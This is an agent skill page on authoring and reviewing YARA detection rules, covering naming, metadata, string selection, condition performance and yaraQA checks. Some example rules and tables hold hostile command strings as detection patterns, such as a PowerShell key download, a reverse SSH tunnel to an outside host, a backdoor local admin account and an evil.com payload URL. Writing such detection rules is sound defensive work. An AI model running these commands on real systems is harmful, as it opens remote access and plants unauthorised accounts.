# Yara Skill

> Expert YARA rule authoring, review, and optimization. Use when writing new YARA rules, reviewing existing rules for quality issues, optimizing rule performance, or converting detection logic to YARA syntax. Covers rule naming conventions, string selection, condition optimization, performance tuning, and automated quality checks based on yaraQA.

- Skill: `tools-only/yara-skill` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds add tools-only/yara-skill`
- Raw SKILL.md: https://api.skillmd.com/api/skills/tools-only/yara-skill/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Productivity
- Author: tools-only (https://skillmd.com/u/tools-only)
- Updated: 2026-09-09
- Page: https://skillmd.com/skills/tools-only/yara-skill

---


# YARA Rule Authoring & Review

Expert guidance for writing high-quality, performant YARA rules based on industry best practices and automated QA checks.

> **Version:** 1.3 — Added string diversity guidance (mix categories, not quantity)

> **Scope:** This skill covers readability, maintainability, and usability. For performance optimization (atoms, short-circuit evaluation), see the Performance Reference.

---

## Quick Start Template

```yara
rule MAL_Family_Platform_Type_Date {
    meta:
        description = "Detects ..."
        author = "Your Name"
        date = "2026-02-03"
        reference = "https://..."
        score = 75
    strings:
        $x1 = "unique malware string"
        $s1 = "grouped string 1"
        $s2 = "grouped string 2"
        $a1 = "Go build"
        $fp1 = "Copyright Microsoft"
    condition:
        uint16(0) == 0x5a4d
        and filesize < 10MB
        and $a1
        and (
            1 of ($x*)
            or all of ($s*)
        )
        and not 1 of ($fp*)
}
```

---

## Rule Naming Convention

Format: `CATEGORY_SUBCATEGORY_DESCRIPTOR_DATE`

The rule name is often the first information shown to users. It should include:
- Type of threat
- Classification tags  
- Descriptive identifier
- Context/period of creation

Values are ordered from **generic to specific**, separated by underscores (`_`).

### Main Categories (Required)

| Prefix | Meaning | Example |
|--------|---------|---------|
|`MAL`|Malware|`MAL_APT_CozyBear_ELF_Apr18`|
|`HKTL`|Hack tool|`HKTL_PS1_CobaltStrike_Oct23`|
|`WEBSHELL`|Web shell|`WEBSHELL_APT_ASP_China_2023`|
|`EXPL`|Exploit code|`EXPL_CVE_2023_1234_WinDrv`|
|`VULN`|Vulnerable component|`VULN_Driver_Apr18`|
|`SUSP`|Suspicious/generic|`SUSP_Anomaly_LNK_Huge_May23`|
|`PUA`|Potentially unwanted app|`PUA_Adware_Win_Trojan`|

### Secondary Classifiers (Combine as needed)

**Intention/Background:**
- `APT` — Nation state actor
- `CRIME` — Criminal activity  
- `ANOMALY` — Generic suspicious characteristics
- `RANSOM` — Ransomware

**Malware Types:**
- `RAT`, `Implant`, `Stealer`, `Loader`, `Crypter`, `PEEXE`, `DRV`

**Platform:**
- `WIN` (default, often omitted), `LNX`, `MacOS`
- `X64` (default), `X86`, `ARM`, `SPARC`

**Technology:**
- `PE`/`ELF`, `PS`/`PS1`/`VBS`/`BAT`/`JS`
- `.NET`/`GO`/`Rust`, `PHP`/`JSP`/`ASP`
- `MalDoc`, `LNK`, `ZIP`/`RAR`

**Modifiers:**
- `OBFUSC` — Obfuscated
- `Encoded` — Encoded payload
- `Unpacked` — Unpacked payload
- `InMemory` — Memory-only detection

**Packers/Installers:**
- `SFX`, `UPX`, `Themida`, `NSIS`

**Uniqueness Suffixes:**
- MonthYear: `May23`, `Jan19`, `Apr18`
- Number: `*_1`, `*_2`

### Naming Examples

```
APT_MAL_CozyBear_ELF_Loader_Apr18
    └── APT malware loader by CozyBear for Linux (April 2018)

SUSP_Anomaly_LNK_Huge_Apr22
    └── Suspicious anomaly: oversized link file (April 2022)

MAL_CRIME_RANSOM_PS1_OBFUSC_Loader_May23
    └── Crime ransomware: obfuscated PowerShell loader (May 2023)
```

---

## Rule Structure & Formatting

### Indentation

Use **3-4 spaces** consistently. Never mix tabs and spaces.

**DON'T:**
```yara
rule BAD_EXAMPLE {
meta:
description = "no indentation"
strings:
$s1 = "value"
}
```

**DO:**
```yara
rule GOOD_EXAMPLE {
   meta:
      description = "proper 3-space indent"
      author = "Name"
   strings:
      $s1 = "value"
   condition:
      uint16(0) == 0x5a4d
      and filesize < 300KB
}
```

### Rule Tags

Put **main categories in the rule name**. Additional tags go in a `tags` meta field:

```yara
rule MAL_APT_CozyBear_Win_Trojan_Apr18 {
    meta:
        tags = "APT28, Gazer, phishing"
    ...
}
```

---

## Meta Data Fields

### Mandatory Fields

| Field | Format | Guidelines |
|-------|--------|------------|
|`description`|String|60-400 chars, start with "Detects ...", no URLs|
|`author`|String|Full name or Twitter handle; comma-separated for multiple|
|`reference`|String|URL or "Internal Research"; avoid unstable/private links|
|`date`|YYYY-MM-DD|Creation date only (use `modified` for updates)|

### Optional Fields

| Field | Format | Purpose |
|-------|--------|---------|
|`score`|0-100|Severity × specificity for prioritization|
|`hash`|String(s)|SHA256 preferred; can use multiple times|
|`modified`|YYYY-MM-DD|Last update date|
|`old_rule_name`|String|Previous name for searchability|
|`tags`|Comma-separated|Extra classification tags|
|`license`|String|License identifier|

### Score Guidelines

| Score | Significance | Examples |
|-------|--------------|----------|
|0-39|Very Low|Capabilities, common packers|
|40-59|Noteworthy|Uncommon packers, PE anomalies|
|60-79|Suspicious|Heuristics, obfuscation, generic rules|
|80-100|High|Direct malware/hack tool matches|

---

## String Categories ($x, $s, $a, $fp)

Organize strings using the **Triad Approach** plus false positive filters:

| Prefix | Meaning | Usage |
|--------|---------|-------|
|`$x*`|Highly specific|Unique to threat; `1 of ($x*)` triggers|
|`$s*`|Grouped strings|Need multiple; `all of ($s*)` or `3 of ($s*)`|
|`$a*`|Pre-selection|Narrows file type; use early in condition|
|`$fp*`|False positive filters|Exclude benign; `not 1 of ($fp*)`|

### Example

```yara
rule HKTL_Go_EasyHack_Oct23 {
   meta:
      description = "Detects a Go based hack tool"
      author = "John Galt"
      date = "2023-10-23"
      reference = "https://example.com/EasyHack"
   strings:
      $a1 = "Go build"              // Pre-selection: Go binary

      $x1 = "Usage: easyhack.exe -t [IP] -p [PORT]"
      $x2 = "c0d3d by @EdgyHackerFreak"

      $s1 = "main.inject"
      $s2 = "main.loadPayload"

      $fp1 = "Copyright by CrappySoft" wide
   condition:
      uint16(0) == 0x5a4d
      and filesize < 20MB
      and $a1
      and (
        1 of ($x*)
        or all of ($s*)
      )
      and not 1 of ($fp*)
}
```

### String Diversity — Mix Categories, Not Quantity

**Avoid over-reliance on similar strings.** If the author changes a pattern (e.g., `[DEBUG]` → `[DBG]`), all strings of that type become obsolete at once.

**DO:** Select 1-4 strings from **different categories** for resilience:

| Category | Examples |
|----------|----------|
| Format strings | `"[DEBUG] %s: %d"`, `"%s:%d/%s"` |
| File paths | `"C:\\Users\\Public\\file.exe"`, `"/tmp/.hidden/data"` |
| Usage/help | `"Usage: malware.exe <host> <port>"` |
| Error messages | `"[ERROR] Connection failed"` |
| IP addresses | `"192.168.1.100"`, `"10.0.0.1"` |
| Domains | `"evil.com"`, `"cdn.badactor.net"` |
| Build artifacts | `"hackme.pdb"`, `"/src/main.c"` |
| URLs | `"https://evil.com/payload.exe"` |
| Command lines | `"cmd.exe /c powershell -enc"` |
| Function names | `"inject_payload"`, `"steal_cookies"` |
| Variable names | `"g_hMutex"`, `"s_config"` |
| Special imports | `"WinExec"`, `"InternetOpenA"` |

**DON'T — Too many similar strings (fragile):**
```yara
// AVOID: 8 debug strings with same prefix
$s1 = "[DEBUG] WinHTTP session opened" fullword ascii
$s2 = "[DEBUG] Download URL: %s" fullword ascii
$s3 = "[DEBUG] Adding HTTP headers..." fullword ascii
$s4 = "[DEBUG] Download complete!" fullword ascii
$s5 = "[DEBUG] Starting PE execution" fullword ascii
$s6 = "[DEBUG] PE execution completed" fullword ascii
$s7 = "[DEBUG] Waiting %d seconds..." fullword ascii
// If author changes [DEBUG] to [DBG], ALL break
```

**DO — Diverse categories (resilient):**
```yara
// GOOD: Mix of categories
$x1 = "[ERROR] Usage: stager_evade.exe <url>"  // Usage help
$s1 = "stager_debug.log"                       // File path
$s2 = "https://%s:%d/%s"                       // URL format
$s3 = { 68 74 74 70 73 3A 2F 2F }             // "https://" hex
$op1 = { C3 0F 1F 40 00 66 66 2E 0F }         // OpCodes
```

### String Identifier Best Practices

**Opt for readable values:**
```yara
// AVOID:
$s1 = { 46 72 6F 6D 42 61 73 65 36 34 }

// USE:
$s1 = "FromBase64"
```

**Choose concise identifiers:**
```yara
// AVOID:
$string_value_footer_1 = "eval("
$selection_14 = "eval("

// USE:
$s1 = "eval("
$eval = "eval("
```

### Hex String Formatting

Add ASCII comments for readability. Wrap at 16-byte intervals.

```yara
/* )));
IEX( */
$s1 = { 29 29 29 3b 0a 49 45 58 28 0a }

// Long hex wrapped at 16 bytes:
$s1 = { 2c 20 2a 79 6f 77 2e 69 20 26 20 30 78 46 46 29 
        3b 0a 20 20 70 72 69 6e 74 66 20 28 28 28 2a 79 }
```

---

## Condition Formatting

### Structure Template

```yara
condition:
    header_check
    and file_size_limitation
    and other_limitations
    and string_combinations
    and false_positive_filters
```

### Formatting Rules

- **New line before `and`**
- **Indent blocks for `or` groups**
- **Group related conditions with parentheses**

**Example:**
```yara
condition:
    uint16(0) == 0x5a4d
    and filesize < 300KB
    and pe.number_of_signatures == 0
    and (
        1 of ($x*)
        or (
            2 of ($s*)
            and 3 of them
        )
    )
    and not 1 of ($fp*)
```

**Multi-value conditions:**
```yara
condition:
    (
        uint16(0) == 0x5a4d     // MZ marker
        or uint16(0) == 0x457f  // ELF marker
    )
    and filesize < 300KB
    and all of ($s*)
```

---

## Performance Critical Rules

### String Length
- Minimum effective atom: **4 bytes**
- Avoid: `"MZ"`, `{ 4D 5A }`, repeating chars (`AAAAAA`)
- Use `uint16(0) == 0x5A4D` for short header checks

### Regex
- Always include **4+ byte anchor**
- Avoid: `.*`, `.+`, unbounded quantifiers `{x,}`
- Prefer: `.{1,30}` with upper bound

### Condition Order
```yara
// GOOD: Cheap first, expensive last
uint16(0) == 0x5A4D
and filesize < 100KB
and all of them
and math.entropy(500, filesize-500) > 7

// BAD: Expensive first
math.entropy(...) > 7 and uint16(0) == 0x5A4D
```

### Module Alternatives
```yara
// AVOID: Parses entire file
import "pe"
condition: pe.is_pe

// USE: Header check only
condition: uint16(0) == 0x5A4D
```

See [references/performance.md](references/performance.md) for detailed optimization.

---

## Common Issues (yaraQA)

### Logic Errors

| ID | Issue | Problem | Fix |
|----|-------|---------|-----|
|`CE1`|Never matches|`2 of them` with only 1 string|Adjust count|
|`SM2`|PDB + fullword|PDBs start with `\`, `fullword` breaks match|Remove `fullword`|
|`SM3`|Path + fullword|`\Section\` won't match with `fullword`|Remove `fullword`|
|`SM5`|Problematic chars|`fullword` with `.` `)` `_` etc.|Remove `fullword`|
|`CS1`|Substring string|One string is substring of another|Remove redundant string|
|`DS1`|Duplicate strings|Same value defined twice|Consolidate|

### Performance Warnings

| ID | Issue | Problem | Fix |
|----|-------|---------|-----|
|`PA1`|Short at position|`$mz at 0`|Use `uint16(0) == 0x5A4D`|
|`PA2`|Short atom|< 4 bytes|Extend with context bytes|
|`RE1`|Unanchored regex|No 4+ byte fixed prefix|Add anchor|
|`CF1`|Expensive calc|Hash/math over full file|Move to end of condition|
|`NC1`|`nocase` letters only|Generates many atoms|Add special char or use regex|

See [references/yaraqa-checks.md](references/yaraqa-checks.md) for complete reference.

---

## Modifiers Reference

| Modifier | Atom Count | Best Practice |
|----------|------------|---------------|
|`ascii`|1|Default if no modifier specified|
|`wide`|1|UTF-16, use when needed|
|`ascii wide`|2|Both encodings|
|`nocase`|Up to 16|Avoid on short strings; use regex `[Pp]attern` instead|
|`fullword`|Word boundary|Avoid with paths starting `\` or ending `\`|
|`xor`|256 variations|Use sparingly; consider single byte xor instead|

---

## Tweaks

### String Matching vs. Hashing

Avoid hashing loops — use direct string matching:

```yara
// LESS EFFICIENT:
for any var_sect in pe.sections:
   (hash.md5(var_sect.raw_data_offset, 0x100) == "d99eb1e503...")

// MORE EFFICIENT:
strings:
   $section_hash = { d9 9e b1 e5 03 ca c3 a1 ... }
condition:
   $section_hash
```

---

## Rule Review Output Format

When reviewing an existing rule, produce an **Assessed Rule** with inline comments rather than a fully rewritten version. This educates the author while preserving their original decisions.

### Critical Requirements

**1. MUST COMPILE — Non-negotiable**
- Every rule you output must compile successfully with `yara -p rule.yar`
- Never include references to undefined string identifiers (e.g., `all of ($op*)` when no `$op*` strings exist)
- Never break YARA syntax (unclosed braces, invalid modifiers, malformed hex)
- If a suggestion would require adding strings that don't exist, put it in a comment instead

**2. Suggestions go in comments only**
- All recommendations, improvement ideas, and "consider adding..." notes must be in `//` or `/* */` comments
- Do not modify the condition to use string groups that aren't defined
- Do not add placeholder references that would cause compilation failures

### Principles

1. **Fix only obvious issues** — PA1, meta typos, missing mandatory fields
2. **Preserve original identifiers** — Keep `$ama_*`, don't rename to `$x1`, `$s1`
3. **Add educational comments** — Explain the triad approach without enforcing it
4. **Suggest, don't prescribe** — Let the author decide on string grouping

### Comment Style

| Location | Comment Purpose |
|----------|-----------------|
| Rule name | Suggest naming convention (e.g., `// naming: add category prefix`) |
| Meta fields | Fix typos (`link` → `reference`), flag missing `date`/`score` |
| Strings block | Explain triad: `// split into $x* (highly specific) vs $s* (supporting)` |
| Performance issues | Reference yaraQA ID: `// PA1: use uint16(0) == 0x5A4D instead` |
| Condition | Suggest logic: `// best use 1 of ($x*) for highly specific strings` |

### Example Assessed Rule

```yara
rule MAL_Amaranth_Loader_Aug23 {   // naming: add category prefix (MAL_) and date
   meta:
      author = "@Tera0017/@_CPResearch_"
      description = "Amaranth Loader"
      reference = "https://research.checkpoint.com/"   // was: link
      date = "2023-08-15"                              // add: creation date
      score = 80                                       // add: severity score

   strings:
      // Consider splitting into groups: highly specific ($x*) vs supporting ($s*)
      // $ama_iv and $ama_decr are unique — use 1 of ($x*) for these
      // $ama_size is less unique — combine via 2 of ($s*) or all of ($s*)
      
      $mz = "MZ"   // PA1: use uint16(0) == 0x5A4D instead (faster, no atoms)
      
      $ama_size = {41 BD 01 00 00 00 41 BC 00 40 06 00 E9 92 00 00 00}
      $ama_iv = {C7 84 24 30 02 00 00 12 34 56 78 ...}
      $ama_decr = {FF C1 48 D3 E8 41 30 00 FF C2 49 FF C0}

   condition:
      uint16(0) == 0x5A4D        // was: $mz at 0 (see PA1)
      and filesize < 10MB        // add: filesize limit for performance
      // best use 1 of ($x*) for highly specific strings
      // and combinations of 2 of ($s*) or all of ($s*) for less specific strings
      // e.g.: (1 of ($x*) or 2 of ($ama_size, $ama_decr))
      and any of ($ama*)
}
```

### Common Mistake to Avoid

**DON'T — Broken condition (references undefined strings):**
```yara
strings:
   $x1 = "malware.exe"
condition:
   uint16(0) == 0x5a4d
   and all of ($op*)   // ERROR: no $op* strings defined!
```

**DO — Valid rule with suggestions in comments:**
```yara
strings:
   $x1 = "malware.exe"
   // Consider adding opcode patterns for more robust detection:
   // $op1 = { 8B 45 08 50 E8 ?? ?? ?? ?? 83 C4 04 }
condition:
   uint16(0) == 0x5a4d
   and $x1
   // If you add $op* strings above, you could use: and all of ($op*)
```

### Good Example — Proper Naming, Meta, and Commented Suggestions

```yara
rule HKTL_Unknown_Feb26_1 {
   meta:
      description = "Detects an unknown hack tool that downloads SSH key from external server, creates reverse SSH tunnel for SMB (port 445) and adds local admin user"
      author = "Detection Engineering"
      score = 75
      reference = "VT:8e593c36433be810f6753257b849d5d2417dc40081e1ef6a2078f75c06382033"
      hash1 = "8e593c36433be810f6753257b849d5d2417dc40081e1ef6a2078f75c06382033"
   strings:
      $x1 = "powershell.exe wget https://pentest.emptybox.ge/secretkey -outfile C:\\users\\public\\secretkey"
      $x2 = "ssh -R 445:127.0.0.1:445 hacker@46.101.108.130 -N -i C:\\users\\public\\secretkey"
      $x3 = "icacls C:\\users\\public\\secretkey /grant:r %USERNAME%:F"
      $x4 = "hackme.pdb"
      $x5 = "net user eve qwerty /add"
      $x6 = "net localgroup administrators eve /add"
      // Consider adding opcodes for compiled/encoded variants:
      // $op1 = { E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? }
   condition:
      uint16(0) == 0x5a4d
      and filesize < 10KB
      and 1 of ($x*)
      // If $op* strings are added above, consider: and any of ($op*)
}
```

**Key points from this example:**
- Proper rule name with category (`HKTL_`), descriptor, and date
- Complete metadata (description, author, score, reference, hash)
- All improvement suggestions are in `//` comments
- The rule compiles as-is; comments show potential enhancements
- Multi-line condition with commented alternative logic

---

## Review Workflow

When reviewing YARA rules:

1. **Structure** — Naming convention, metadata completeness, indentation
2. **Strings** — Triad categorization ($x/$s/$a/$fp), length, readability
3. **Conditions** — Short-circuit order, logic errors, impossible matches
4. **Performance** — Module usage, regex anchors, short atoms
5. **Style** — Hex formatting, identifier naming

Reference yaraQA issue IDs when suggesting improvements.

---

## Resources

- [references/style.md](references/style.md) — Complete naming, structure, formatting
- [references/performance.md](references/performance.md) — Atoms, optimization, conditions
- [references/yaraqa-checks.md](references/yaraqa-checks.md) — All 20 automated checks